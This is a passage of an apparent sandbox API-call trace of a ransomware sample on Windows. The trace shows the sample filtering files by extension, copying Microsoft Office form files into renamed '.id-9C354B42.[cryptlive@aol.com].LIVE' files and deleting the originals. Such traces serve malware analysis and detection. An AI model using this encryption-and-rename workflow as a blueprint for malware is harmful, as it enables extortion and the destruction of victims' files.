office\\office14\\forms\\1033\\posts.ico")) returned 1 [0158.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTS.ICO") returned 63 [0158.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTS.ICO") returned 63 [0158.721] lstrlenW (lpString=".doc") returned 4 [0158.721] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0158.721] lstrlenW (lpString=".docx") returned 5 [0158.721] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0158.721] lstrlenW (lpString=".pdf") returned 4 [0158.721] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0158.721] lstrlenW (lpString=".xls") returned 4 [0158.721] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0158.721] lstrlenW (lpString=".xlsx") returned 5 [0158.721] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0158.721] lstrlenW (lpString=".ppt") returned 4 [0158.721] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0158.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTS.ICO") returned 63 [0158.721] lstrlenW (lpString=".zip") returned 4 [0158.721] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0158.721] lstrlenW (lpString=".rar") returned 4 [0158.721] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0158.721] lstrlenW (lpString=".bz2") returned 4 [0158.721] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0158.721] lstrlenW (lpString=".7z") returned 3 [0158.721] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0158.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTS.ICO") returned 63 [0158.721] lstrlenW (lpString=".dbf") returned 4 [0158.721] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0158.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTS.ICO") returned 63 [0158.721] lstrlenW (lpString=".1cd") returned 4 [0158.721] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0158.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTS.ICO") returned 63 [0158.721] lstrlenW (lpString=".jpg") returned 4 [0158.721] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0158.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTS.ICO") returned 63 [0158.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTS.ICO") returned 63 [0158.722] lstrlenW (lpString=".doc") returned 4 [0158.722] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0158.722] lstrlenW (lpString=".docx") returned 5 [0158.722] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0158.722] lstrlenW (lpString=".pdf") returned 4 [0158.722] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0158.722] lstrlenW (lpString=".xls") returned 4 [0158.722] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0158.722] lstrlenW (lpString=".xlsx") returned 5 [0158.722] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0158.722] lstrlenW (lpString=".ppt") returned 4 [0158.722] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0158.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTS.ICO") returned 63 [0158.722] lstrlenW (lpString=".zip") returned 4 [0158.722] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0158.722] lstrlenW (lpString=".rar") returned 4 [0158.722] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0158.722] lstrlenW (lpString=".bz2") returned 4 [0158.722] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0158.722] lstrlenW (lpString=".7z") returned 3 [0158.722] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0158.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTS.ICO") returned 63 [0158.722] lstrlenW (lpString=".dbf") returned 4 [0158.722] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0158.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTS.ICO") returned 63 [0158.722] lstrlenW (lpString=".1cd") returned 4 [0158.722] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0158.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTS.ICO") returned 63 [0158.722] lstrlenW (lpString=".jpg") returned 4 [0158.722] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0158.723] lstrcmpiW (lpString1=".CFG", lpString2=".LIVE") returned -1 [0158.723] lstrlenW (lpString="REMOTE.CFG") returned 10 [0158.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\remote.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0158.723] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=779) returned 1 [0158.723] CloseHandle (hObject=0x1b8) returned 1 [0158.723] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\remote.cfg")) returned 0x20 [0158.723] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTE.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\remote.cfg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0158.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\remote.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0158.724] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.724] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTE.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\remote.cfg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0158.725] GetLastError () returned 0x0 [0158.725] ReadFile (in: hFile=0x1b8, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x30b, lpOverlapped=0x0) returned 1 [0158.731] WriteFile (in: hFile=0x1f8, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x310, lpOverlapped=0x0) returned 1 [0158.731] ReadFile (in: hFile=0x1b8, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0158.732] WriteFile (in: hFile=0x1f8, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0158.732] SetEndOfFile (hFile=0x1f8) returned 1 [0158.732] CloseHandle (hObject=0x1f8) returned 1 [0158.732] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.732] SetEndOfFile (hFile=0x1b8) returned 1 [0158.734] CloseHandle (hObject=0x1b8) returned 1 [0158.734] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTE.CFG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0158.734] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\remote.cfg")) returned 1 [0158.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTE.CFG") returned 64 [0158.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTE.CFG") returned 64 [0158.735] lstrlenW (lpString=".doc") returned 4 [0158.735] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0158.735] lstrlenW (lpString=".docx") returned 5 [0158.735] lstrcmpiW (lpString1=".docx", lpString2="E.CFG") returned -1 [0158.735] lstrlenW (lpString=".pdf") returned 4 [0158.736] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0158.736] lstrlenW (lpString=".xls") returned 4 [0158.736] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0158.736] lstrlenW (lpString=".xlsx") returned 5 [0158.736] lstrcmpiW (lpString1=".xlsx", lpString2="E.CFG") returned -1 [0158.736] lstrlenW (lpString=".ppt") returned 4 [0158.736] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0158.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTE.CFG") returned 64 [0158.736] lstrlenW (lpString=".zip") returned 4 [0158.736] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0158.736] lstrlenW (lpString=".rar") returned 4 [0158.736] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0158.736] lstrlenW (lpString=".bz2") returned 4 [0158.736] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0158.736] lstrlenW (lpString=".7z") returned 3 [0158.736] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0158.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTE.CFG") returned 64 [0158.736] lstrlenW (lpString=".dbf") returned 4 [0158.736] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0158.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTE.CFG") returned 64 [0158.736] lstrlenW (lpString=".1cd") returned 4 [0158.736] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0158.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTE.CFG") returned 64 [0158.736] lstrlenW (lpString=".jpg") returned 4 [0158.736] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0158.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTE.CFG") returned 64 [0158.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTE.CFG") returned 64 [0158.736] lstrlenW (lpString=".doc") returned 4 [0158.736] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0158.736] lstrlenW (lpString=".docx") returned 5 [0158.736] lstrcmpiW (lpString1=".docx", lpString2="E.CFG") returned -1 [0158.736] lstrlenW (lpString=".pdf") returned 4 [0158.736] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0158.736] lstrlenW (lpString=".xls") returned 4 [0158.736] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0158.736] lstrlenW (lpString=".xlsx") returned 5 [0158.737] lstrcmpiW (lpString1=".xlsx", lpString2="E.CFG") returned -1 [0158.737] lstrlenW (lpString=".ppt") returned 4 [0158.737] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0158.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTE.CFG") returned 64 [0158.737] lstrlenW (lpString=".zip") returned 4 [0158.737] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0158.737] lstrlenW (lpString=".rar") returned 4 [0158.737] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0158.737] lstrlenW (lpString=".bz2") returned 4 [0158.737] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0158.737] lstrlenW (lpString=".7z") returned 3 [0158.737] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0158.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTE.CFG") returned 64 [0158.737] lstrlenW (lpString=".dbf") returned 4 [0158.737] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0158.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTE.CFG") returned 64 [0158.737] lstrlenW (lpString=".1cd") returned 4 [0158.737] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0158.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTE.CFG") returned 64 [0158.737] lstrlenW (lpString=".jpg") returned 4 [0158.737] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0158.737] lstrcmpiW (lpString1=".ICO", lpString2=".LIVE") returned -1 [0158.737] lstrlenW (lpString="REMOTEL.ICO") returned 11 [0158.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTEL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\remotel.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0158.738] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=1078) returned 1 [0158.738] CloseHandle (hObject=0x1b8) returned 1 [0158.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTEL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\remotel.ico")) returned 0x20 [0158.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTEL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\remotel.ico.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0158.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTEL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\remotel.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0158.738] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.738] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTEL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\remotel.ico.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0158.739] GetLastError () returned 0x0 [0158.739] ReadFile (in: hFile=0x1b8, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x436, lpOverlapped=0x0) returned 1 [0158.741] WriteFile (in: hFile=0x1f8, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x440, lpOverlapped=0x0) returned 1 [0158.742] ReadFile (in: hFile=0x1b8, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0158.742] WriteFile (in: hFile=0x1f8, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xea, lpOverlapped=0x0) returned 1 [0158.742] SetEndOfFile (hFile=0x1f8) returned 1 [0158.742] CloseHandle (hObject=0x1f8) returned 1 [0158.742] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.742] SetEndOfFile (hFile=0x1b8) returned 1 [0158.744] CloseHandle (hObject=0x1b8) returned 1 [0158.744] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTEL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0158.745] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTEL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\remotel.ico")) returned 1 [0158.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTEL.ICO") returned 65 [0158.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTEL.ICO") returned 65 [0158.745] lstrlenW (lpString=".doc") returned 4 [0158.745] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0158.745] lstrlenW (lpString=".docx") returned 5 [0158.745] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0158.746] lstrlenW (lpString=".pdf") returned 4 [0158.746] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0158.746] lstrlenW (lpString=".xls") returned 4 [0158.746] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0158.746] lstrlenW (lpString=".xlsx") returned 5 [0158.746] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0158.746] lstrlenW (lpString=".ppt") returned 4 [0158.746] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0158.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTEL.ICO") returned 65 [0158.746] lstrlenW (lpString=".zip") returned 4 [0158.746] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0158.746] lstrlenW (lpString=".rar") returned 4 [0158.746] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0158.746] lstrlenW (lpString=".bz2") returned 4 [0158.746] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0158.746] lstrlenW (lpString=".7z") returned 3 [0158.746] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0158.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTEL.ICO") returned 65 [0158.746] lstrlenW (lpString=".dbf") returned 4 [0158.746] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0158.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTEL.ICO") returned 65 [0158.746] lstrlenW (lpString=".1cd") returned 4 [0158.746] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0158.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTEL.ICO") returned 65 [0158.746] lstrlenW (lpString=".jpg") returned 4 [0158.746] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0158.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTEL.ICO") returned 65 [0158.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTEL.ICO") returned 65 [0158.746] lstrlenW (lpString=".doc") returned 4 [0158.746] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0158.746] lstrlenW (lpString=".docx") returned 5 [0158.746] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0158.746] lstrlenW (lpString=".pdf") returned 4 [0158.746] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0158.746] lstrlenW (lpString=".xls") returned 4 [0158.747] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0158.747] lstrlenW (lpString=".xlsx") returned 5 [0158.747] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0158.747] lstrlenW (lpString=".ppt") returned 4 [0158.747] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0158.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTEL.ICO") returned 65 [0158.747] lstrlenW (lpString=".zip") returned 4 [0158.747] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0158.747] lstrlenW (lpString=".rar") returned 4 [0158.747] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0158.747] lstrlenW (lpString=".bz2") returned 4 [0158.747] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0158.747] lstrlenW (lpString=".7z") returned 3 [0158.747] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0158.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTEL.ICO") returned 65 [0158.747] lstrlenW (lpString=".dbf") returned 4 [0158.747] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0158.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTEL.ICO") returned 65 [0158.747] lstrlenW (lpString=".1cd") returned 4 [0158.747] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0158.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTEL.ICO") returned 65 [0158.747] lstrlenW (lpString=".jpg") returned 4 [0158.747] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0158.747] lstrcmpiW (lpString1=".ICO", lpString2=".LIVE") returned -1 [0158.747] lstrlenW (lpString="REMOTES.ICO") returned 11 [0158.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTES.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\remotes.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0158.859] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=2998) returned 1 [0158.859] CloseHandle (hObject=0x1e0) returned 1 [0158.859] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTES.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\remotes.ico")) returned 0x20 [0158.999] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTES.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\remotes.ico.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0159.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTES.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\remotes.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0159.042] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.042] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTES.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\remotes.ico.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0159.044] GetLastError () returned 0x0 [0159.044] ReadFile (in: hFile=0x1b8, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0xbb6, lpOverlapped=0x0) returned 1 [0159.082] WriteFile (in: hFile=0x350, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0159.083] ReadFile (in: hFile=0x1b8, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0159.083] WriteFile (in: hFile=0x350, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xea, lpOverlapped=0x0) returned 1 [0159.083] SetEndOfFile (hFile=0x350) returned 1 [0159.083] CloseHandle (hObject=0x350) returned 1 [0159.083] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.083] SetEndOfFile (hFile=0x1b8) returned 1 [0159.085] CloseHandle (hObject=0x1b8) returned 1 [0159.085] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTES.ICO.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0159.407] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTES.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\remotes.ico")) returned 1 [0159.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTES.ICO") returned 65 [0159.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTES.ICO") returned 65 [0159.409] lstrlenW (lpString=".doc") returned 4 [0159.409] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0159.409] lstrlenW (lpString=".docx") returned 5 [0159.409] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0159.409] lstrlenW (lpString=".pdf") returned 4 [0159.409] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0159.409] lstrlenW (lpString=".xls") returned 4 [0159.409] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0159.409] lstrlenW 